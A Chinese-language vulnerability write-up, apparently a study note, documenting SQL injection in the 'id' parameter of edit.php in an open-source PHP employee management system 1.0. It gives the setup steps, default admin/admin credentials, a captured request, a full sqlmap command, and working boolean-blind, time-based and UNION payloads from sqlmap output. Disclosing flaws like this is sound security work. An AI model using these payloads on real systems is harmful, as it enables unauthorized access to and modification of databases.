免责申明:本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与本平台和发布者无关!!!

漏洞名称

sherlock employee management system-1.0SQL注入漏洞

漏洞影响

员工管理系统

https://download.code-projects.org/details/4af079c9-ab82-4b2a-a133-be6989c7f70e

漏洞描述

员工管理系统1.0是一个开源的PHP系统,允许通过“/370project//edit.php?id=111”中的'id’参数进行SQL注入。利用此问题可能允许攻击者危害应用程序、访问或修改数据,或者利用底层数据库中的最新漏洞。

漏洞挖掘过程

下载源码并启动系统

解压到小皮面板网站的物理路径下


不会用小皮的请查看之前的文章自行安装,官网地址https://www.xp.cn/

找到README.md文件中的安装步骤

使用小皮启动MySQL,从解压的项目中找到SQL文件,然后创建数据库并初始化表

create database 370project;

执行370project.sql文件中的sql语句初始化表

找到数据库信息配置文件,修改数据库信息


启动apache(启动nginx也行,喜欢那个用哪个)


访问系统

http://localhost/370project//alogin.html

登录:admin/admin

点击“查看员工”选项,选择任意一位员工,然后点击编辑按钮进行编辑,并抓取数据包,将其保存到“r.txt”文件中。

GET /370project//edit.php?id=111 HTTP/1.1
Host: localhost
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36

然后使用sqlmap发起攻击,获取数据库名称

sqlmap -r r.txt -p id --risk 3 --level 5 --dbms mysql --proxy="http://127.0.0.1:8080" --batch --current-db

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: id=111 AND 5433=(SELECT (CASE WHEN (5433=5433) THEN 5433 ELSE (SELECT 8839 UNION SELECT 6713) END))-- -

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=111 AND (SELECT 5430 FROM (SELECT(SLEEP(5)))gMEp)

    Type: UNION query
    Title: Generic UNION query (NULL) - 13 columns
    Payload: id=111 UNION ALL SELECT NULL,NULL,CONCAT(0x7162767171,0x486e6e5062594f43517643496c5574527374646b4d504958686b4175715a4d4f6b7a79514f556251,0x716b707071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[05:05:06] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.2.12, Apache 2.4.58
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[05:05:06] [INFO] fetching current database
current database: '370project'

修复建议

开源项目自行修复。